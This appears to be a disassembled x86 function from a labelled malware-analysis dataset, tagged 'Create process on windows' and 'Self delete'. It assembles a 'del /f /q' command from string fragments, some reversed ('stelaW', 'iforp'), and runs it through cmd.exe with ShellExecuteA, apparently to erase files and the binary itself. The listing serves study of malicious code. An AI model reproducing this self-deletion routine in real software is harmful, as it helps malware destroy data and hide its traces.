Function at 0x4185e7
Capabilities:
Create process on windows
Self delete

Disassembly:
push 0x78
mov eax, 0x432ab6
call fcn.0041f0aa
push 0x104
push 0
mov dword [ebp - 0x84], ecx
call dword [0x45301c]
push eax
call dword [0x452fa4]
mov ebx, 0x4385a4
mov esi, eax
push ebx
push esi
call dword [0x452fc0]
push 0x43954c
push esi
call dword [0x452fc0]
mov edi, 0x438a28
push edi
push esi
call dword [0x452fc0]
push 0x438778
push esi
call dword [0x452fc0]
push 0x438784
push esi
call dword [0x452fc0]
push str.stelaW
push esi
call dword [0x452fc0]
push 0x4390e0
push esi
call dword [0x452fc0]
push 0x4390e0
push esi
call dword [0x452fc0]
push str.iforp
push esi
call dword [0x452fc0]
push 0x438780
push esi
call dword [0x452fc0]
push 0x438780
push esi
call dword [0x452fc0]
push edi
push esi
call dword [0x452fc0]
push ebx
push esi
call dword [0x452fc0]
push str.iforp
push esi
call dword [0x452fc0]
push 0x4390e8
push esi
call dword [0x452fc0]
push edi
push esi
call dword [0x452fc0]
call dword [0x452f34]
mov ecx, dword [ebp - 0x84]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.0041851d
and dword [ebp - 4], 0
cmp dword [eax + 0x14], 0x10
jb 0x4186e7
mov eax, dword [eax]
push eax
push esi
call dword [0x452fc0]
or dword [ebp - 4], 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.00403de3
push edi
push esi
call dword [0x452fc0]
push ebx
push esi
call dword [0x452fc0]
push 0x438dc8
push esi
call dword [0x452fc0]
push edi
push esi
call dword [0x452fc0]
push 0x439548
push esi
call dword [0x452fc0]
push edi
push esi
call dword [0x452fc0]
push 0x438778
push esi
call dword [0x452fc0]
push str.iforp
push esi
call dword [0x452fc0]
push 0x4390e8
push esi
call dword [0x452fc0]
push 0x43877c
push esi
call dword [0x452fc0]
push 0x438dcc
push esi
call dword [0x452fc0]
push 0x439544
push esi
call dword [0x452fc0]
push 0x438778
push esi
call dword [0x452fc0]
push edi
push esi
call dword [0x452fc0]
push ebx
push esi
call dword [0x452fc0]
push 0x438778
push esi
call dword [0x452fc0]
push edi
push esi
call dword [0x452fc0]
push str.6uc
push esi
call dword [0x452fc0]
push str.__del__f
push esi
call dword [0x452fc0]
push str.__q__
push esi
call dword [0x452fc0]
call dword [0x452f34]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.004182c3
pop ecx
pop ecx
xor ebx, ebx
inc ebx
cmp dword [eax + 0x14], 0x10
mov dword [ebp - 4], ebx
jb 0x4187f3
mov eax, dword [eax]
push eax
push esi
call dword [0x452fc0]
or dword [ebp - 4], 0xffffffff
xor edi, edi
push edi
push ebx
lea ecx, [ebp - 0x48]
call fcn.00403de3
push 0x439528
push esi
call dword [0x452fc0]
push str._del_C:Progra
push esi
call dword [0x452fc0]
push str.Data.dll
push esi
call dword [0x452fc0]
push str.__ex
push esi
call dword [0x452fc0]
push 0x439500
push esi
call dword [0x452fc0]
push 7
push str.owsSys
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], edi
mov byte [ebp - 0x2c], 0
call fcn.004042e8
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x80]
push str.C:Wind
push eax
mov dword [ebp - 4], 2
call fcn.0040440d
push str.tem32cmd.exe
push eax
lea eax, [ebp - 0x64]
push eax
mov byte [ebp - 4], 3
call fcn.0040a642
add esp, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x41889b
mov eax, dword [eax]
push edi
push edi
push esi
push eax
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push edi
push ebx
lea ecx, [ebp - 0x64]
call fcn.00403de3
push edi
push ebx
lea ecx, [ebp - 0x80]
call fcn.00403de3
push edi
push ebx
lea ecx, [ebp - 0x2c]
call fcn.00403de3
call fcn.0041f0f4
ret